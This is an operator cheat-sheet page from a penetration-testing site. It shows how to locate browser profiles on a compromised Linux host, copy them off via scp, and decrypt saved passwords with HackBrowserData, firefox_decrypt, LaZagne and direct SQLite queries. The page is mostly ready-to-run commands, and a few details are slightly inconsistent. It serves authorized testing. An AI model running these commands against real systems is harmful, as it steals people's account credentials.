# Browser saved passwords

> Extracting credentials stored in browser password managers on Linux systems using filesystem access and decryption techniques during post-exploitation.

- **URL:** https://hackindex.io/platforms/linux/post-exploitation/credentials/browser-saved-passwords
- **Path:** Linux > Post-Exploitation > Credentials
- **Up:** [Credentials](https://hackindex.io/platforms/linux/post-exploitation/credentials.md)
- **Published:** 2026-02-17
- **Updated:** 2026-08-11

> [!WARNING]
> Run these techniques only on systems you are explicitly authorized to test. Treat exported credentials as sensitive data and follow the engagement’s rules of use, storage, and deletion.

This operator page covers triaging browser credential locations on a compromised Linux host, extracting profile files, and decrypting saved passwords on Kali Linux using reliable tools. These methods are for ethical penetration testing or authorized recovery, assuming post-exploitation access to copy files to your Kali machine.

## Locate browser profiles fast

### Firefox (classic and Snap):

```bash
ls -la ~/.mozilla/firefox 2>/dev/null
ls -la ~/snap/firefox/common/.mozilla/firefox 2>/dev/null
```

### Chromium-based profile roots:

```bash
ls -la ~/.config/google-chrome 2>/dev/null
ls -la ~/.config/chromium 2>/dev/null
ls -la ~/.config/BraveSoftware/Brave-Browser 2>/dev/null
ls -la ~/.config/microsoft-edge 2>/dev/null
ls -la ~/.config/vivaldi 2>/dev/null
ls -la ~/.config/opera 2>/dev/null
```

What to do with results:

- Firefox saved logins are tied to the profile directory containing logins.json and key4.db.
- Chromium-based browsers typically use a profile directory like Default/ with a Login Data SQLite DB and a Local State file.
- On Linux, Chromium-based browsers can store secrets via desktop keyrings (GNOME Libsecret or KWallet) or as plain text depending on the configured password store.

## Extract and Decrypt Credentials

First, copy the relevant profile directories from the target host to your Kali machine (e.g., via scp, assuming SSH access):

```bash
# Example for Firefox
scp -r user@target:~/.mozilla/firefox /path/on/kali/target-firefox-profiles

# Example for Chrome
scp -r user@target:~/.config/google-chrome /path/on/kali/target-chrome-profiles
```

Handle the files securely on Kali (e.g., in an encrypted volume). Then use the tools below for decryption..

### **HackBrowserData (Most modern browsers)**

- Installation on Kali: Download the latest Linux binary (statically linked Go tool, no deps).

```bash
wget https://github.com/moonD4rk/HackBrowserData/releases/download/v0.4.6/hack-browser-data-linux-64bit.zip
unzip hack-browser-data-linux-64bit.zip
```

- Usage for Firefox passwords (point to copied profile):

```bash
./hack-browser-data -b firefox -f csv --dir results/ --profile-path /path/on/kali/target-firefox-profiles/abcdef12.default-release passwords
```

- Outputs to results/ as CSV/JSON/ZIP. Handles AES-256-CBC for Firefox ≥144.
- If master password set: Tool may prompt or fail; check --help for password flags if available.
- Usage for Chromium-based (e.g., Chrome; point to copied profile):

```bash
./hack-browser-data -b chrome -f csv --dir results/ --profile-path /path/on/kali/target-chrome-profiles/abcdef12.default-release passwords
```

- Replace "chrome" with "brave", "edge", "opera", etc.
- Decrypts Login Data DB using copied Local State. Works offline if plaintext or with emulated keyring (may require session simulation if locked).
- For specific profile: Use --profile-path flag.

### **firefox_decrypt (Firefox)**

- Installation on Kali:

```bash
sudo apt update && sudo apt install -y python3-pip libnss3
git clone https://github.com/unode/firefox_decrypt.git
cd firefox_decrypt
```

- Usage (point to copied profile):

```bash
python3 firefox_decrypt.py /path/on/kali/target-firefox-profiles/abcdef12.default-release
```

- Interactively selects and decrypts.
- Outputs: Human-readable, CSV, JSON. Use --non-fatal-decryption to skip errors.

### **LaZagne (Chromium)**

- Install on target

```bash
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Linux
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
```

- Usage (point to copied profiles via custom run or config):

```bash
python3 laZagne.py browsers
```

### Notes on Decryption:

- For locked keyrings (Chromium): May need to run in a simulated session or use the user's OS password to unlock copied secrets.
- Plaintext stores: Query SQLite directly if tools fail (e.g., sqlite3 "/path/Login Data" "SELECT origin_url, username_value, password_value FROM logins" - but decrypt blob fields manually if needed).
- Handle outputs securely: Redirect to encrypted files and delete after use.

## References

- [Export login data from Firefox](https://support.mozilla.org/en-US/kb/export-login-data-firefox) - Supported Firefox export flow
- [Import or export passwords with Chrome](https://support.google.com/chrome/answer/13068232) - Supported Chrome export flow
- [Chromium Linux Password Storage](https://chromium.googlesource.com/chromium/src/+/master/docs/linux/password_storage.md) - Password store backends and behavior on Linux
- [unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) - Third-party profile password recovery tool documentation
- [moonD4rk/HackBrowserData](https://github.com/moonD4rk/HackBrowserData) - Cross-browser decryption tool
- [lessandroZ/LaZagne](https://github.com/AlessandroZ/LaZagne) - Multi-platform credential recovery including Linux keyrings